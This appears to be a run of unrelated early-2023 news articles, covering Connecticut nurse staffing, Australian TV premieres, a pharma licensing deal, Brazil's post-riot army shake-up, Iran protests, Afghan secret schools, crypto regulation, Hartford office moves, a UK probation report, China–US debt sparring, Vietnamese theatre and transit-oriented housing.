Connecticut State Sen. M. Saud Anwar, a pulmonologist and co-chair of the legislatures joint committee on public health, said Monday the legislature will consider mandatory limits for how many patients a nurse is required to provide bedside care for in a hospital.

In a press conference at the legislative office building, Anwar said health care workers  touted as heroes during the pandemic  are burned out and 1-in-5 nationally have left the profession. On top of that, 1-in-3 that are left behind are thinking about leaving bedside health care.

Randi Weingarten, national president of the American Federation of Teachers, which represents doctors and tens of thousands of nurses, said she couldnt emphasize enough the exhaustion, the brokenness and the moral injury and hazard that nurses and other health care workers feel all the time.

I am here today to say help us, Weingarten said, her voice rising into a scream. If you help us, we will be able to help patients more. People who go into health care want to make a difference in the lives of others. Help us do it. Dont let us deal with the dangerous conditions that are getting worse.

Dangerous workplace condition arise from physical assaults on nurses  spitting, hitting and kicking  by distraught patients, Weingarten said.

Weingarten blamed large health systems, built in acquisitions of hospitals, of placing profits over patient care.

Sheri Dayton, a nurse and union president at Backus Hospital in Norwich said she has seen nurses responsible for 4-5 patients rise to eight on a shift.

I just want you to do the math, and look at the clock, Dayton said. Studies have shown that if a nurse can get in that room once an hour, it will decrease the fall risk, it will decrease infections, it will increase good skin care so they dont get pressure ulcers. It will make it so their risk of dying in a hospital is much less.

On average, Dayton said she spends 10-15 minutes in a visit to a patients room.

If I have eight patients, am I going to see them every hour? Dayton said. Theres just no way.

The Connecticut Hospital Association , in a statement issued after the press conference, said legislation requiring certain nurse-to-patient ratios will not help solve the problem.

U.S. Sen. Richard Blumenthal, D-Conn, vowed Monday to support federal legislation ensuring safe staffing levels for nurses and protections from physical assaults on the job from patients.

A focus on government mandated nurse staffing ratios will stall the work we need to get done, Jennifer Jackson, the associations chief executive, said. In fact, staffing ratios would exacerbate the problem, causing delays in care and raising costs with corporate nurse staffing agencies as the likely beneficiaries.

Instead, the state should focus on how to build a strong health care workforce, including educating, training and retaining more health care professionals in Connecticut.

U.S. Sen. Richard Blumenthal, D-Conn., stopped by Mondays press conference to say the issue is a priority on the federal level as well, and he supports legislation that will be introduced in the U.S. Congress. The bills would focus on staffing levels and workplace safety, addressing the physical assaults.

This isnt about higher pay, although nurses need and deserve higher pay, Blumenthal said. It isnt about comfort or convenience. Its about fundamental health for people in Connecticut. You forget how much you need a nurse until you need a nurse. Until your vital signs are going south. Until youre lying in agony on the hospital bed and you need the pain medication.

Blumenthal said it would be essential to legislation  whether on the state or federal level  to have protections for whistleblowers and a structural framework for enforcement.

Blumenthal did acknowledge that the legislation would face an uphill battle in the Republican-controlled House of Representatives.

But I can tell you this, and I am certain of it, Connecticut can help lead the way, Blumenthal said.

Kenneth R. Gosselin can be reached at kgosselin@courant.com.
New IVF observational series Big Miracles will premiere on Nine in early February, with narrator Lisa McCune.

Produced by Ronde Media, the series follows 10 couples seeking to start a family through the help of in-vitro fertilisation

Australias hearts will be captivated in this new series filled with hope about the most emotional human experience of all  trying to have children  when Big Miracles premieres on Starting a family is one of lifes greatest milestones and the utmost dream for many, but what happens when that dream seems impossible?

Lisa McCune, one of Australias most popular and successful screen and theatre actress, narrates this heartfelt series about the ultimate quest to create new life.

Big Miracles takes us on an intimate, emotionally powerful journey. We follow 10 brave and determined Australian couples and individuals as they navigate the raw and emotional road of trying to fall pregnant against overwhelming odds, through IVF and other fertility treatments.

We also witness the miraculous work of dedicated doctors, nurses and scientists committed to making their baby dreams come true.

Each year, a staggering one in six Australians will experience infertility. From women with endometriosis to men with low sperm counts or same sex couples that rely on surrogacy. Today more than ever before people are seeking the help of highly skilled fertility specialists to start a family.

While the specialists rely on cutting-edge science and technology to turn pregnancy dreams into reality, these couples and individuals must rely on hope and pure determination as they go through a physical, emotional and financial rollercoaster ride to parenthood.

Get ready to have your heartstrings pulled in this remarkable series of hope, heartache and triumph.

Monday, February 6, at 9pm on Nine.
Filming for SBS WWII dramedy While The Men Are Away has commenced in Sydney.

Italian star Michela De Rossi (Many Saints of Newark, Briganti) leads the queer revisionist dramedy set in 1940s rural Australia.

While the men are off fighting in WWII, the people who have been excluded from power suddenly find themselves running the show. Two Womens Land Army recruits from Sydney arrive in the country and undergo a heady course in race relations, rural politics, spirituality, sex, and personal growth  oh, and farming.

Joining her are Matt Testro (Jack Irish, The Gloaming), Phoebe Grainer, Jana Zvedeniuk (Bump), and supporting cast Googoorewon Knox (Black Snow), Sacha Horler (The Dressmaker, The Letdown), Tara Morice (Dance Academy, Strictly Ballroom), Katrina Foster (Rake) Ella Scott Lynch (Upright), Rebecca Massey (Utopia), Tony Llewellyn-Jones (Colin from Accounts), Evan Stanhope (Thor: Love & Thunder, Christmas Ransom), Jing Xuan Chan (Harrow) Warren Lee and introducing Zavier Morris.

Previously announced cast members include Benedict Hardie, Gemma Ward, Max McKenna and Shaka Cook.

Series Showrunner and Co-Creator, Kim Wilson says Im beyond thrilled to have Michela bringing her incredible talent to our lead role. The character of Frankie is fiercely independent, intelligent, charming and complex. Michela delivers all of this, and so much more. Shes the perfect addition to a phenomenal cast.

SBS Commissioning Editor, Julie Eckersley While the Men Are Away is an irreverent, witty and queer celebration of social outsiders, and the revolution of being who you really are. The extraordinary talent of Michela joining the cast puts a cherry on the top of what promises to be a truly delightful and heart-warming series.

Rodrigo Herrera Ibarguengoytia, VP Scripted Acquisitions & Co-productions, at Red Arrow Studios International added: We were immediately drawn to the shows witty and irreverent take on World War II, offering fresh and distinct perspectives that were convinced will resonate with international audiences. Michelas addition caps off a talented ensemble cast that will bring this heartfelt vision to life and we cant wait to take out this title worldwide.

While The Men Are Away will premiere on SBS in 2023.

De Rossi plays Francesca, an Italian immigrant struggling to run her husbands farm after he enlists (or does he?) Frankie is joined by Gwen (McKenna) and Esther (Zvedeniuk), somewhat naive city-recruits of the Womens Land Army to deliver the farms annual apple harvest. Helping Frankie is Aboriginal farmhand Kathleen (Grainer), and conscientious objector Robert (Testro).

As the tragedy of war gets close to them their lives become intwined in surprising ways that test their relationships, prejudices and identities in ways they never could have imagined. And once they experience life as it could be, its impossible to go back.

Director Elissa Down (Ivy + Bean, The Black Balloon) will lead the eight-part series While The Men Are Away, with director Monica Zanetti (Ellie & Abbie (& Ellies Dead Aunt), Iggy & Ace) joining to direct an episode.

While The Men Are Away is produced by AACTA Award winning producer Lisa Shaunessy (Sissy, 2067, Hipsters), in her first scripted series under the Arcadia banner.

While The Men Are Away is created by acclaimed writer Kim Wilson (Wentworth, The Lost Flowers of Alice Hart), Alexandra Burke (Sissy) and Monica Zanetti (Ellie & Abbie (& Ellies Dead Aunt)). The series is written and developed by Kim, Alexandra and Monica, alongside Magda Wozniak, Enoch Mailangi, Jada Alberts and Sam Icklow.

While The Men Are Away is an Arcadia production for SBS with major production investment from Screen Australia in association with SBS. Financed with support from Screen NSW. Red Arrow is managing international sales.
Hyloris Pharmaceuticals SA

Exclusive licensing and distribution agreement signed with Salus Pharmaceuticals in Lithuania, Estonia, Latvia, Croatia, Slovenia, Serbia, North Macedonia, Montenegro and Bosnia

First commercial launches planned later this year

Liege, Belgium  24 January 2023  7AM CET  Hyloris Pharmaceuticals SA (Euronext Brussels: HYL), a specialty biopharma company committed to addressing unmet medical needs through reinventing existing medications, today announces that its partner AFT Pharmaceuticals (AFT) has signed an exclusive licensing and distribution agreement with Salus Pharmaceuticals for Maxigesic IV, a novel, dual mode-of-action non-opioid pain treatment delivered through intravenous (IV) infusion, in 9 European markets.

Under the terms of the development collaboration agreement between Hyloris and AFT, Hyloris is eligible to receive a share on any product-related revenues, such as license fees, royalties, milestone payments, received by AFT.

The agreement with Salus Pharmaceuticals encompasses the following European territories: Lithuania, Estonia, Latvia, Croatia, Slovenia, Serbia, North Macedonia, Montenegro, and Bosnia.

Maxigesic IV is already registered in Lithuania, Estonia, Latvia, Croatia and Slovenia, where the first commercial launches are expected later this year. Registration applications will be filed in the remaining countries (Serbia, North Macedonia, Montenegro, Bosnia).

Last November Maxigesic IV was launched France and Italy, together with Ever Pharma GmbH.

Stijn Van Rompay, Chief Executive Officer of Hyloris, commented: We are pleased with Maxigesic IVs further roll-out. This novel non-opioid pain treatment can soon offer relief to patients in even more countries across Europe, and underlines the attractiveness of our business model of reformulating and repurposing existing medicinal products, including its ability to provide significant benefits to patients and health care providers.

About Maxigesic IV

Maxigesic IV is a novel, dual mode-of-action, non-opioid pain treatment for use post-operatively in hospitals or when patients cannot take medicine orally. It is a unique combination of 1000mg paracetamol with 300mg ibuprofen solution for infusion, thereby reducing both pain and inflammation.

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Results from a randomized, placebo-controlled Phase 3 trial demonstrated that Maxigesic IV was well-tolerated and had a faster onset of action, offered higher pain relief, and provided the potential to reduce the use of opioids compared to ibuprofen IV or paracetamol IV alone in the same doses. Further exposure studies have demonstrated the drugs efficacy and safety in an expanded population group over a longer treatment period. Maxigesic IV is protected by several granted and pending patent applications.

About Hyloris Pharmaceuticals SA

Hyloris is a specialty biopharma company focused on innovating, reinventing, and optimising existing medications to address important healthcare needs and deliver relevant improvements for patients, healthcare professionals and payors. Hyloris has built a broad, patented portfolio of 16 reformulated and repurposed value-added medicines that have the potential to offer significant advantages over available alternatives. Outside of its core strategic focus, the Company also has 3 high barrier generic products in development and registration phase. Two products are currently in initial phases of commercialisation with partners: Sotalol IV for the treatment of atrial fibrillation, and Maxigesic IV, a non-opioid post-operative pain treatment. The Companys development strategy primarily focuses on the FDAs 505(b)2 regulatory pathway, which is specifically designed for pharmaceuticals for which safety and efficacy of the molecule have already been established. This pathway can reduce the clinical burden required to bring a product to market, and significantly shorten the development timelines and reduce costs and risks. Hyloris is based in Liege, Belgium. For more information, visit https://hyloris.com/ and follow us on LinkedIn.

For more information, contact Hyloris Pharmaceuticals:

Stijn Van Rompay, CEO

stijn.vanrompay@hyloris.com

+32 (0)4 346 02 07

Jean-Luc Vandebroek, CFO

jean-luc.vandebroek@hyloris.com

+32 (0)478 27 68 42

Sven Watthy, Investor Relations & Communications manager

Sven.watthy@hyloris.com

+32 (0)499 71 15 29

Disclaimer and forward-looking statements

Hyloris means high yield, lower risk, which relates to the 505(b)(2) regulatory pathway for product approval on which the Company focuses, but in no way relates or applies to an investment in the Shares.

Certain statements in this press release are forward-looking statements. These forward-looking statements can be identified using forward-looking terminology, including the words "believes", "estimates," "anticipates", "expects", "intends", "may", "will", "plans", "continue", "ongoing", "potential", "predict", "project", "target", "seek" or "should", and include statements the Company makes concerning the intended results of its strategy. These statements relate to future events or the Companys future financial performance and involve known and unknown risks, uncertainties, and other factors, many of which are beyond the Companys control, that may cause the actual results, levels of activity, performance or achievements of the Company or its industry to be materially different from those expressed or implied by any forward-looking statements. The Company undertakes no obligation to publicly update or revise forward-looking statements, except as may be required by law.

Attachment




Brazil's president has sacked the country's army chief over concerns the country's democracy is under threat following an uprising of far-right protesters.

The official website of the Brazilian armed forces said General Julio Cesar de Arruda had been removed as head of the army.

He has been replaced by General Tomas Miguel Ribeiro Paiva, who was head of the Southeast Military Command.

Around 1,500 people have been detained after the invasion of Brazil's congress, presidential palace and supreme court at the start of January.

Rioters were seeking military intervention to either restore the far-right former president Jair Bolsonaro or oust the newly inaugurated leftist Luiz Inacio Lula da Silva, known as Lula, who won the election with just 50.9% of the votes.

Supporters of the former president stormed through government buildings and destroyed public property.

Mr Lula said several times in public that there were definitely people in the army who allowed the rioting to occur.

Similarities to 6 January 2021 Congress riots

The riot bore strong similarities to the 6 January 2021 riots at the US Congress by mobs who wanted to overturn former president Donald Trump's election loss to Joe Biden.

Mr Lula met defence minister Jose Mucio, chief of staff Rui Costa, and the new army commander in Brasilia later on Saturday.

Speaking afterwards, Mr Mucio said the 8 January riots had caused "a fracture in the level of trust" in the army's top levels and the government decided a change was needed.

Read more on Brazil:

What is happening in the capital?

Riots not a random outpouring of anger

Mob straight out of Trump's playbook - with a difference

Former president under investigation

Mr Bolsonaro is now being investigated for allegedly encouraging his supporters.

Brazil's supreme court has now agreed to look at the ugly scenes, much as US politicians held an inquiry into Donald Trump's role in those in Washington.

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Agreeing to a request by federal prosecutors, Justice Alexandre de Moraes stated: "Public figures who continue to cowardly conspire against democracy trying to establish a state of exception will be held accountable."

Click to subscribe to the Sky News Daily wherever you get your podcasts

Prosecutors say Mr Bolsonaro, who is in the US for medical treatment, will be investigated for possible "instigation and intellectual authorship of the anti-democratic acts that resulted in vandalism and violence".
Caroline Lucas made addresses the protest against the Iranian government (Image: Caroline Lucas)

Caroline Lucas made a speech at a city centre protest against Irans supreme leader.

The Green MP for Brighton Pavilion called on the country to stop the executions, detentions and arrests.

There have been worldwide protests against supreme leader Ali Khamenei following the death of 22-year-old Mahsa Amini, who was detained by the countrys morality police in September last year.

Iranians in Brighton have organised several protests across the city in the last few months, including outside the BBCs office in Queens Road, outside Labour MP Peter Kyles office and multiple protests at Churchill Square.

Ms Lucas said at the protest: We must do far more to support fundamental rights in Iran. Freedom of expression, of association, of peaceful assembly.

Here in Brighton and Hove we especially say that freedom in Iran must mean freedom for the LGBTQ+ people too.

Iran must stop the executions, stop the detentions, torture, arrests, the sham trials. We say if the people of Iran want regime, then that is democracy and that is their Iran. We stand united with our brothers and sisters in Iran. For women, for life and for freedom.

The Argus: One of the protesters last weekend

One of the protesters last weekend (Image: Provided)

Some 60 people attended the protest outside Churchill Square last Saturday, January 14.

One of the protesters, who did not want to be named, said: The regime needs to know there are people across the world watching them, they cant do what they are with political prisoners.

We had a live performance and live music. We had someone singing too.

We are doing it for women, life, freedom.

We are doing it for the economy, pollution and corruption. There are several issues in the country.

The Argus: Dozens gathered to protest

Dozens gathered to protest (Image: Provided)

Caroline Lucas was very supportive and gave an incredible speech regarding the whole situation in Iran. She asked the British government to take more action.

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We want the British government to shut down the Iranian embassy in the UK because they do not represent Iranians.

Protesters have faced a brutal crackdown by Iranian security forces using live ammunition, rubber bullets and tear gas to suppress demonstrations.

Despite this, demonstrations are ongoing.

It has quickly become one of the most serious challenges to Irans establishment in more than four decades.
Conor McGregor denied an accusation that he assaulted a woman on his yacht in Ibiza. (Brian Lawless/PA Images via Getty Images)

A woman has accused UFC fighter Conor McGregor of assaulting her on his yacht in Ibiza, prompting her to flee the boat by jumping into the water.

Spanish publication Ultima Hora reports that an Irish woman has filed a formal complaint against McGregor for the alleged assault from July 17 of last year. Per the complaint, McGregor allegedly punched the woman in the face and kicked her, knocking her to the ground and ultimately causing injury to her wrist.

McGregor's representative Karen Kessler denied the claims in a statement to ESPN on Tuesday.

"Mr. McGregor is steadfast in his denial of all the accusations made by a guest on his boat," Kessler's statement reads.

Per the complaint, McGregor's accuser and some friends joined McGregor at his birthday party at an Ibiza nightclub on the night of July 16. The woman says that she's from the same neighborhood as McGregor and knew him before he was a UFC star. Per the complaint, she joined McGregor on his yacht with his partner and two other friends at McGregor's invitation overnight sometime between 3 and 4 a.m.

The accuser says that McGregor's partner went to bed and that the rest of the party remained on deck drinking and talking. Per the complaint, that's when the situation escalated. From Ultima Hora:

"His whole behavior changed and he became very aggressive," she says. Without further provocation, according to this account, he kicked her with the instep just below her navel and punched her in the chin. The first blow caused her to fall to the ground and hurt her wrist.

Then he jumped on her: "I'm going to drown you, who do you think you are?"

The woman says she escaped, then jumped from the yacht to flee the attack and was eventually picked up by a Red Cross boat. Per the report, she initially told her rescuers that McGregor was her attacker, and that lifeguards saw McGregor on the boat and identified him.

It was as if he were possessed," she said, per Ultima Hora. "I knew I had to get out of the boat because I thought he was going to kill me."

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When she later met with authorities, she told them that it wasn't McGregor who attacked her and she didn't file a formal complaint at the time. Per the report, she said that she was in shock and only wearing a bikini while she spoke with authorities and that she prioritized leaving and going her hotel to make plans to return home to Ireland.

According to the report, she filed a formal complaint naming McGregor after she returned to Dublin. Authorities in Ibiza have since reopened a criminal investigation into the allegations based on her complaint. McGregor has not been formally charged as authorities continue to take statements from witnesses and McGregor's accuser.

McGregor was previously accused of sexual assault in Corsica, France, in 2020. McGregor denied those allegations, and authorities declined to pursue the case, citing insufficient evidence. In 2019, McGregor was caught on video punching a man in a Dublin bar and was later charged with assault. He was fined $1,120 for that incident.
A student in Afghanistan has spoken about attending a secret school and pleaded with the countrys elders to consider the education of girls, while a volunteer at the schools has said she will not let the fear of dying if caught outdo the fear of living, on International Day of Education.

Since the Taliban took control of Afghanistan it has banned girls from attending schools and universities, which has led to some organisations taking it into their own hands to make sure girls get an education, even if the risks if caught are severe.

Matiullah Wesa set up the voluntary organisation Pen Path in 2009, which works with tribal leaders in various regions across Afghanistan to reopen schools and libraries, campaign for girls right to an education, and teach students, often through volunteers riding to different provinces on motorbikes with portable libraries.

Matiullah Wesa teaching girls in Afghanistan (Pen Path/Matiullah Wesa/PA)

Mr Wesa, the president of Pen Path, said the road to educating girls has been far from easy and safe.

We fight without using violence, like Mahatma Gandhi and Bacha Khan  we will accept that we have to go to jail, we just want to see our women, our next generation, have women rights and have human rights without discrimination, Mr Wesa, 30, from Kandahar province in Afghanistan, told the PA news agency on International Day of Education, January 24.

Since its inception, Pen Path has provided learning opportunities for 76,000 girls, 122,000 Afghan children, opened 40 libraries, supplied stationery to 1.6 million children and provided storybooks to children across Afghanistan.

Its not possible to build an Afghanistan with a good economy, good diplomacy and good security without women, without education, Mr Wesa said.

I felt that I had a responsibility to make sure the new generation had access to the basic and fundamental right to an education.

Girls in Afghanistan attending secret schools (Pen Path/Matiullah Wesa/PA)

There are 3,000 volunteers at Pen Path, of whom 500 are women, who began setting up the secret schools in 2016.

There are now roughly 40 in 10 provinces and many districts across Afghanistan. More exact details are not disclosed in order to protect those attending  including 10th grade student Madina.

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Madina, whose surname has been concealed to protect her identity, has benefited from the secret schools, telling PA that she was very happy to hear that I can go there for a while and continue my education.

For now, it is very important and vital for us to participate in the secret school because it is the only way that can help us to continue our education, she added.

She said that in the schools she has been able to learn about many subjects, and that knowledge and education are very valuable.

We ask the elders of our country to consider the education of girls and to realise its importance, she added.

Girls being taught by Pen Path volunteers in Afghanistan (Pen Path/Matiullah Wesa/PA)

We request those of our compatriots who are at a higher level of education to also build secret schools so that our other sisters who are deprived of education can enjoy this blessing.

Recently, with the changes that took place in Afghanistan and the many prohibitions against women, it is an ambiguous situation.

Sahil Mushref, 27, has been volunteering with Pen Path since 2014 and spoke about her own experience of studying in secret schools from the age of five.

Since I was five, when the Taliban had control of Afghanistan, we used to study in a basement. Inside the cover of the Koran we kept books and notebooks, she said.

That feeling of being educated was so pure for me, to encourage me to become a volunteer and help other little girls.

She added that becoming a volunteer was a weapon for her to stand for the rights of girls to an education.

I had suffered, but when I can be someone to not let other girls suffer from what I did, why not?

Its one of the best and prettiest feelings in the world when you are the reason [for] someones smile or for creating a path to his/her future.

When asked for the main reason behind her decision to volunteer for Pen Path, she said: Afghan girls believe there is always a way to come out and shine and we will stand for our right until we achieve it.

I never share details to unknown people and try not to stay at the same location, but the fear of dying is not going to win against the fear of living as if we dont exist on the earth.

Pen Path continues to campaign for girls to have an education and access to work.
Regulators at the U.S. Securities and Exchange Commission aren't doing enough when it comes to crypto regulation, Rep. Warren Davidson (R-Ohio) told CoinDesk TVs First Mover on Tuesday.

You've got people that are engaging in overt pump-and-dump scams and getting away with it because the SEC is asleep at the wheel, Davidson said. Some seem to get a free pass, and others seem to get their business models killed.

Davidson, vice chairman of the Financial Services Subcommittee on Digital Assets, Financial Technology and Inclusion, said that even before the collapse of bankrupt crypto exchange FTX, no ones been happy with the job the SEC has done."

He gave the example of the SEC's crackdown on celebrity influencer Kim Kardashian and her promotion of ethereummax (EMAX), a token built on top of the Ethereum blockchain. Even though Kardashian paid a $1.26 million fine for not disclosing that she was paid to promote the token on social media, ethereummax continues to trade, Davidson noted.

The results are self-evident. They are not getting the job done, Davidson said.

Who regulates what

Meanwhile, the SEC and Commodity Futures Trading Commission have yet to decide which agency will regulate crypto spot markets.

To address that issue, Davidson said Congress needs to craft a policy that can make its way through the House and the Senate. That may begin with stablecoins, which are backed by a reserve asset such as the U.S. dollar or gold and to members of Congress are concrete and tangible, he said.

He said lawmakers must figure out the role stablecoins have in the payment systems and with banks and what role the SEC would have.

They've [the SEC] engaged in regulation by enforcement, and that's frustrated markets quite a lot, Davidson said.

During a separate segment on "First Mover," SEC Commissioner Hester M. Peirce also said that regulating through enforcement isn't the best option.

While she said that it's important to bring enforcement actions when theres fraud, and such cases fall within the agencys jurisdiction, she also said that there really is a better approach to crypto regulation and that depends on what Congress decides and which government agency is granted that authority.

Read more: Crypto Lawyers Share Blame for FTX, Other Disasters, CFTC Commissioner Says
Talcott Financial Group said Monday it will relocate its Connecticut offices to downtown Hartford from Windsor, moving about 300 employees later this year into One American Row, the iconic Boat Building.

Talcott said it chose to relocate its Talcott Resolution life insurance operations to downtown Hartford after an extensive search, and its decision was partly based on the amenities that the city has to offer.

Talcotts lease of 52,000 square feet in the Boat Building follows the downtown Hartford expansion earlier this month by New York-based Global Atlantic Financial Group at One Financial Plaza, the Gold Building. And late last year, Sun Life Financial completed a multi-million dollar renovation on two upper floors of the Gold Building.

Talcott Financial Group is relocating to downtown Hartfords Boat Building.

Global Atlantic now has 160 employees in downtown and plans to add another 100 over seven years. Sun Lifes space can accommodate up to 400. But both companies said their employees generally follow a hybrid work schedule, meaning they work at home at least part of the time.

Talcott said the employees relocating to downtown Hartford generally follow a hybrid work schedule and are in the office Tuesday through Thursday.

The lease is a welcome addition to a downtown where vacant office space is rising amid downsizings in the aftermath of the pandemic.

The expansion of our presence in a new vibrant location in Hartford, one of the premier insurance markets in the U.S. is a significant step in the growth of Talcott Financial Group, Diane Krajewski, Talcott Resolutions chief human resources officer, said, in a statement.

One American Row is easily accessible and gives Talcott space to expand its operations, Krajewski said.

Hartford Mayor Luke Bronin hailed the relocation, saying the choice of downtown Hartford puts them right at the heart of a strong and growing insurance innovation ecosystem.

Talcott Resolution garnered top honors for several years in the Courants Top Workplaces competition, garnering the number one spot for mid-size companies.

Kenneth R. Gosselin can be reached at kgosselin@courant.com
A man with a history of violence was able to sexually assault and murder a law graduate after mistakes were made by probation staff, a report has found.Jordan McSweeney, 29, attacked Zara Aleena in June 2022, nine days after his release on licence from prison.A report by chief inspector of probation, Justin Russell, released on Tuesday, outlined how McSweeney was not treated as a high-risk offender or recalled to prison as quickly as he should have been.Womens safety campaigners have said that a lack of funding is partly to blame for the litany of errors which left McSweeney free to kill the 35-year-old last year, just nine days after he was released from jail.
(Bloomberg) -- China invoked the USs brinkmanship over its own debt limit as it hit back at Treasury Secretary Janet Yellens criticism of Beijings handling of debt issues in developing countries.

Most Read from Bloomberg

The criticism came from the Chinese embassy in Lusaka, Zambia, on Monday, which blasted the US over its catastrophic debt problem and accused it of sabotaging other nations efforts to resolve debt problems.

Noting that the Treasury has begun taking extraordinary measures to meet its obligations after the US government reached its borrowing limit, the embassy said the biggest contribution that the US can make to the debt issues outside the country is to act on responsible monetary policies, cope with its own debt problem, and stop sabotaging other sovereign countries active efforts to solve their debt issues.

The sharp words contrast with a recent easing in tensions between China and the US, which kicked off in November after the countries two leaders met for the first time face to face in years. They also follow talks last week between Yellen and her counterpart, Liu He, which both sides said were constructive and positive.

The Treasurys measures give it space for some months before it runs out of cash. Economists and bond-market analysts anticipate the ceiling will have to be raised sometime in the third quarter to avert a US payments default, which would be economically damaging for the worlds biggest economy and the global financial system.

Republicans who control the House intend to use the debt-ceiling deadline as leverage to extract deep spending cuts from the White House and congressional Democrats. President Joe Bidens position is that US credit is too important to haggle over.

Story continues

China holds about $870 billion in US debt, according to the latest data for November, down from more than $1.3 trillion in late 2013. Chinas stockpile  the largest behind Japans  fell for the third straight month, reaching the lowest level since June 2010.

China has become the worlds biggest creditor to developing countries, some of which are facing a mounting debt crisis. The Group of 20 nations has set up a so-called Common Framework that brings the Paris Club of traditional rich debtor countries together with China to try to restructure the debts of low-income countries on a case-by-case basis.

Debt Burden

China has come under criticism for its perceived lack of engagement in a global effort to reduce debt burdens for developing nations, with Yellen saying on multiple occasions that Beijing has become the biggest obstacle to progress.

She repeated the call on Monday in Zambia, which Africas first pandemic-era sovereign defaulter in 2020, and since then has been struggling to revamp external debt that topped $17 billion, more than a third of which is held by Chinese creditors.

Assuming Secretary Yellens statements about debt were correct, the best prospect of the debt issues outside the US would be the US Treasury Department solving the US own domestic debt problem, given how well she knows about facts, her professional capacities and her teams implementation ability, the Chinese embassy in Lusaka said.

For the US, its trickiest debt-ceiling showdown came in 2011, when S&P Global Ratings was alarmed enough to cut the sovereign US rating from AAA. The move roiled markets and ended up damaging consumer confidence, hurting the economic recovery from the credit crisis.

Back then, state-owned Chinese news agency Xinhua criticized US handling of the debt situation, calling the political brinkmanship in Washington dangerously irresponsible.

The rare harsh criticism directed at Yellen this week cast a shadow on hopes China may be pivoting away from its so-called Wolf Warrior approach raised by the transfer of a senior diplomat closely associated with the Foreign Ministrys more confrontational shift in recent years.

--With assistance from Christopher Anstey.

Most Read from Bloomberg Businessweek

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BINH INH  The city of Quy Nhon of Binh inh Province is offering new shows and performances of tuong (classical drama) for visitors as part of its long-term project to preserve the traditional theatre.

The shows are staged by talented artists from leading troupes of Binh inh, including the State-owned Binh inh Traditional Theatre.

Highlighted shows include extracts from famous plays such as, Ong Gia Cong Vo Tre i Xem Hoi (The old man carries his young wife to see the festival), Ho Nguyet Co Hoa Cao (Ho Nguyet Co turned into a fox) and On inh Chem Ta (On inh beheaded Ta).

The artists also talk about the history of tuong, which consists of singing, dancing and music, and its development during various periods, including its evolution from a folk art into a royal art in the 17th century.

Performances of bai choi (folk singing), an Intangible Cultural Heritage of Humanity by the UNESCO in 2017, are also included.

Bai choi originated almost 400 years ago under the reign of the Nguyen Lords (1558-1777). The art entertained the community during the post-harvest time.

It literally means a deck of cards (bai) and bamboo huts (choi), and is half game and half theatre performance.

The art combines music, poetry, acting, painting and literature.

We are working to integrate performances of tuong with other cultural activities, festivals and concerts in order to create opportunities for the artists to expand their art, said Tran Van Thanh, director of the provinces Department of Tourism. Our project started last year and targets visitors. We hope to attract and provide vistors with quality traditional art shows.

Binh inh attracted 4.2 million visitors last year. The province is making every effort to turn tourism into a spearhead economic sector by 2025.

One of the provinces leading art troupes, Binh inh Traditional Theatre, celebrated its 70th anniversary last year. The theatre has 70 performers and music players.

Tuong and bai choi are the spirit of Vietnamese people in the central and south regions. I hope young artists will keep the arts alive, said theatre director Van Ba Dung.

Dungs theatre has co-operated with the HCM City Tuong Theatre to expand their art. Artists from both theatres have worked together to perform, record, shoot and release their performances online.

Shows by Binh inh Traditional Theatre are staged at Nguyen Tat Thanh Boulevard in Quy Nhon.  VNS
A proposal to create communities centered on public transit was launched this week at the GastroPark in West Hartford.

The proposal, called Work Live Ride, by Desegregate CT, would form a program where local municipalities could create zoning that includes affordable housing near bus lines and train stations, and receive state funding and guidance.

Desegregate CT Director Pete Harrison said West Hartford is a prime example of how the legislation would work.

West Hartfords Elmwood CTfastrak bus station was cited as an example of how a community can be built along public transit lines.

Connecticut is one of the most economically and racially segregated states, and we think a big piece of the puzzle of changing that is changing our land use laws, he said.

Desegregate CT is a coalition of 80 neighborhood and nonprofit organizations that advocates for improving land use and building communities.

Transit-oriented communities is a popular, proven, and practical step for building more homes and more kinds of homes near the transit structure that our states been investing in, Harrison said. We hope that Work Live Ride will be that next step of the evolution of seeing Connecticut build more homes, more jobs, and more businesses around our transit infrastructure.

The program would work as an opt-in process for communities to take steps toward creating transit-based communities and get more affordable housing built. The aim is to have more state funding across more state agencies to ensure that all of the different projects that need to be built get built, Harrison said.

The process is pretty simple, Harrison said. The community that has either already passed a transit-oriented community district, such as West Hartford, would automatically be eligible for state resources.

Communities that wish to create TODs would be helped by the states Office of Responsible Growth to guide them through the process.

The press conference was originally scheduled to be held at West Hartfords Elmwood CTfasttrak bus station, and was moved to the GastroPark because of inclement weather, but the business was also an example of how building a community near mass transit can have many benefits.

Im here not only representing one business, but a whole conglomeration of small businesses who support the efforts to make this neighborhood more walkable and the redevelopment effort that its currently undergoing, said GastroPark owner Tate Norden, adding that the genesis of GastroPark was to be an incubator, of sorts, for other small businesses.

Tate Norden, owner of GastroPark, said that the genesis of GastroPark was to be an incubator, of sorts, for other small businesses, and that it falls perfectly in line with making the Elmwood neighborhood more walkable and livable.

GastroPark was started with a mission of empowerment, to try and help local residents and small business open or expand their small business, Norden said. As were all well aware, the barriers to entry are quite steep, as is the same with this neighborhood. There are many barriers to developing this neighborhood. Some are self-inflicted, some not. There are certainly a number of environmental issues. The state needs to be doing everything it can to make developments of this area more accessible and more streamlined, so that CTfastrak and other initiatives to make this place a community are more achievable.

Eli Sabin, legislative director for CT Voices for Children, said Work Live Ride will help families, especially those with children.

Connecticut is at a really important moment. Were at a state of innovation that has been founded on growth and welcoming new neighbors, he said. Because of our severe housing shortage, families  particularly low-and-middle-income families  are having a hard time building good lives here in our state, Sabin said. In 2022, 65% of families with children were struggling to pay their daily expenses. Weve got to be doing everything we can to build more housing, especially in smart locations, near transit, where people can save money on gas, car insurance, and car payments.

West Hartford Mayor Shari Cantor said focusing on making zoning more transit-oriented makes sense to reduce the number of cars and parking spaces needed for a business, and be more flexible in plans for housing. She cited two recent housing developments, 616 New Park and 540 New Park, which are 80% affordable housing.

We have more happening right around the corner, Cantor said. West Hartford is anticipating putting 1,000 units online, hopefully in the next couple of years, so this is really important.

State Rep. Kate Farrar said shes looking forward to championing the legislation in the upcoming session.

State Rep. Kate Farrar said shes excited to work on getting the proposed legislation passed in the upcoming session.

There have been incredible bounds taken by our small business owners [and] by our Town of West Hartford, to really make investments and decisions that can make this a more livable and greener community, Farrar said. But, what weve also heard is that it is time for us, as a state, to do more. The beauty of this proposal, of Work Live Ride, is that it really takes the next step. It really connects our approach at the local and state level to ensure that, as towns, were getting the support that we need, and the funding to make sure that people can live right around the corner from GastroPark, can easily get to work, either right here in West Hartford or in Hartford, and to play on the weekends and enjoy everything this community offers.

